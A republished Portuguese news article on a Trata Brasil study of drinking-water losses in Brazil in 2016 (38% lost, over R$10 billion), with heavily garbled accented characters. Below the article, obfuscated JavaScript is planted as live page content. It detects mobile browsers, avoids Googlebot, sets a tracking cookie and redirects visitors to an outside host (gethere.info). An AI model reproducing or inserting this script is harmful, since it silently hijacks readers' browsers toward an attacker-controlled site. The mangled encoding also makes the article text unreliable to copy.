Nova pagina 1

DesperdA�cio de A?gua potA?vel aumenta no Brasil, e perdas chegam a mais de R$ 10 bilhA�es ao ano, aponta estudo

DesperdA�cio foi de 7 mil piscinas olA�mpicas por dia em 2016 ou seis vezes a capacidade do sistema Cantareira cheio, aponta Trata Brasil. Perda financeira quase alcanA�ou valor total de investimento do setor de saneamento bA?sico no paA�s no ano, de R$ 11,5 bilhA�es.

PrejuA�zo com desperdA�cio de A?gua chega a R$ 10 bilhA�es por ano no Brasil

PrejuA�zo com desperdA�cio de A?gua chega a R$ 10 bilhA�es por ano no Brasil

O paA�s desperdiA�ou 38% da A?gua potA?vel nos sistemas de distribuiA�A?o em 2016, o equivalente a quase 7 mil piscinas olA�mpicas cheias a cada dia. A perda financeira no ano foi de mais de R$ 10 bilhA�es. A� o que aponta um estudo do Instituto Trata Brasil obtido pelo jornal. O desperdA�cio A� causado por vazamentos nas tubulaA�A�es, erros de leitura de hidrA?metros, roubos e fraudes.

Os dados sA?o do Sistema Nacional de InformaA�A�es sobre Saneamento (SNIS) de 2016, os mais recentes, divulgados pelo governo neste ano.

O estudo ainda aponta queA�o A�ndice de perdas na distribuiA�A?o de A?gua no paA�s em 2016 A� o maior em 5 anos. Entre 2012 e 2015, o percentual variou pouco, de 36,7% para 37%, apontando uma estabilidade. Em 2016, porA�m, a tendA?ncia foi de alta, chegando a 38,1%.

EvoluA�A?o de perdas na distribuiA�A?o de A?gua
Indicador vinha apresentando estabilidade entre 2012 e 2015; em 2016, A�ndice apontou tendA?ncia de alta
A?ndice de perda na distribuiA�A?o de A?gua (%)2012201320142015201636,536,753737,2537,537,753838,25
Fonte: Instituto Trata Brasil

Segundo A�dison Carlos, presidente do instituto, alguns fatores podem ter colaborado para a alta do desperdA�cio, como a crise hA�drica de SA?o Paulo. Ele explica que A?gua potA?vel A� distribuA�da atravA�s de um sistema pressurizado. Essa pressA?o normalmente A� regulada ao longo do dia a depender do consumo das casas a�� quanto maior o consumo, maior a pressA?o. Durante a crise, porA�m, as redes de distribuiA�A?o trabalharam mais vazias, o que fragiliza o sistema.

Em 2016, quando houve retomada de um volume maior de A?gua em SA?o Paulo e a pressA?o aumentou, apareceram novos vazamentos antes nA?o identificados, ocasionando mais perda. “A� um fator esperado”, afirma Carlos.

Apesar de ser um grande centro urbano, porA�m, SA?o Paulo e sua crise nA?o podem ser totalmente responsabilizadas pelo aumento de desperdA�cio em nA�vel nacional. Carlos aponta, por exemplo, que cidades que nA?o passaram por crise nA?o melhoraram seus A�ndices, e queA�a maior parte das grandes cidades perde entre 30% e 45%, indicadores muito altos para municA�pios que tA?m mais tecnologia e mais recursos que as pequenas cidades.

“NA?s nA?o esperA?vamos que tivesse aumentado o desperdA�cio no paA�s inteiro. Tem fatores isolados, como a reduA�A?o do consumo nos anos anteriores e fatores climA?ticos, mas tem tambA�m uma falta crA?nica de investimento. A� uma perda histA?rica”, diz A�dison Carlos, do Trata Brasil.

De acordo com ele, o indicador de desperdA�cio A� pouco olhado pela sociedade e pelas prA?prias empresas, o que A� um erro, jA? que as perdas sA? tendem a piorar. “As redes vA?o se deteriorando, novos vazamentos vA?o aparecendo, bem como novos furtos d’A?gua”, diz.

DesperdA�cio de A?gua pode ser causado por vazamento nas tubulaA�A�es, mas tambA�m por fraudes  (Foto: Murilo Rincon/G1)

DesperdA�cio de A?gua pode ser causado por vazamento nas tubulaA�A�es, mas tambA�m por fraudes.

AlA�m disso, as perdas trazem consequA?ncias tanto para o prA?prio sistema de produA�A?o, quanto para o meio ambiente, jA? que um elevado nA�vel de desperdA�cio equivale a uma necessidade de captaA�A?o e produA�A?o superiores ao volume efetivamente demandado pela sociedade.

Segundo o estudo, as perdas geram ineficiA?ncias no seguintes A?mbitos:

  • Maior custo de insumos quA�micosA�e de energia elA�trica para bombeamento;
  • Maior manutenA�A?o da redeA�e de equipamentos;
  • DesnecessA?rio uso da capacidadeA�de produA�A?o e distribuiA�A?o;
  • DesnecessA?ria pressA?o sobre as fontes de A?guaA�para abastecimento.

“A perda A� a A?gua que nA?o precisaria ser retirada da natureza. Poderia tambA�m usar essa A?gua para agricultura, comA�rcio e outros setores, mas tem que usar para abastecimento humano para compensar a ineficiA?ncia da distribuiA�A?o”, diz A�dison Carlos.

HA? ainda os impactos diretos na receita das empresas, jA? que a perda envolve A?gua tratada, mas nA?o faturada.

BalanA�o hA�drico de 2016
Veja quanto da A?gua que entra no sistema de distribuiA�A?o do Brasil de fato A� faturada
A?gua faturada: 10.178.863A?gua perdida e nA?o faturada: 6.379.064
Fonte: Instituto Trata Brasil

O estudo aponta queA�o Brasil perdeu R$ 10,6 bilhA�es em 2016 por conta do desperdA�cio, o que corresponde a 92% de todo o valor investido pelo setor de saneamento bA?sico no mesmo ano no paA�s (R$ 11,5 bilhA�es).

O cA?lculo A� feito da seguinte forma:

  • Perdas comerciais:A�o valor perdido A� calculado multiplicando o volume de A?gua nA?o faturada pela tarifa mA�dia de A?gua. Significa o quanto de recursos poderia ter sido faturado se todos pagassem pela A?gua furtada ou nA?o medida.
  • Perdas fA�sicas:A�os valores sA?o calculados multiplicando os volumes de A?gua perdida nos vazamentos e de A?gua utilizada e nA?o faturada pelo custo marginal da produA�A?o de A?gua (custos dispendidos com podutos quA�micos, energia e serviA�os de terceiros).

Esses cA?lculos apresentam caracterA�sticas diferentes em nA�vel nacional. Segundo A�dison Carlos, por exemplo, a maior parte dos prejuA�zos de SA?o Paulo vem de vazamentos nas redes de distribuiA�A?o. JA? no Rio de Janeiro, as fraudes e os roubos de A?gua tA?m peso maior.

ComparaA�A?o internacional

A forte presenA�a de fraudes A� um dos fatores que diferenciam o Brasil de paA�ses com baixos A�ndices de perda de A?gua e de faturamento, aponta Carlos. Mas o forte investimento nas redes feito de forma programada e contA�nua A� ainda mais importante.

A mA�dia das perdas de faturamento no Brasil em 2016 foi de 38,5%, ou seja, 23 pontos percentuais acima da mA�dia de paA�ses desenvolvidos, que A� de 15%.

Perda de A?gua no mundo
Veja a comparaA�A?o do Brasil com outros paA�ses em relaA�A?o ao indicador de perda de faturamento
A?ndice de perda de faturamento total (%)6,96,910,310,312,812,820,520,524,124,128,528,538,538,5424247,647,6DinamarcaAustrA?liaEstados UnidosChinaMA�xicoEtiA?piaBrasilArgentinaColA?mbia01020304050
Fonte: Instituto Trata Brasil

“Logicamente que estes paA�ses desenvolvidos tA?m pouca fraude. TA?m perda comercial baixa porque investem em hidrA?metros mais novos com leituras melhores que facilitam a identificaA�A?o de roubos. EntA?o a perda A� mais vazamento, o que A� resolvido com trocas de rede. A� uma sequA?ncia de anos de investimento em melhoria do sistema”, diz Carlos.

CenA?rios futuros

Para atingir patamar semelhante aos dos melhores paA�ses, como os Estados Unidos (12,8% de perda de faturamento), o Brasil precisaria passar por uma mudanA�a nas polA�ticas pA?blicas, aponta Carlos.

Em um cenA?rio otimista apontado pelo estudo, o paA�s chegaria a 15% em 2033, com uma reduA�A?o de 61% nas perdas. O ganho bruto total seria de R$ 75,2 bilhA�es.

JA? em um cenA?rio neutro, a reduA�A?o seria de 48%, chegando a 20% em 2033, com ganho de R$ 59,2 bilhA�es. Em um cenA?rio conservador, a reduA�A?o de 35% diminuiria as perdas para 25%, com ganho de R$ 43,2 bilhA�es.”O A?ltimo ano foi um balde de A?gua fria, subindo para mais de 38%. Se continuar como as coisas estA?o indo, o A?nico cenA?rio possA�vel seria o conservador. E isso sendo otimista”, diz A�dison Carlos.

Fonte G1

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Faça o primeiro comentário a "DesperdA�cio de A?gua potA?vel aumenta no Brasil, e perdas chegam a mais de R$ 10 bilhA�es ao ano, aponta estudo"

Comentar

O seu endereço de email não será publicado.


*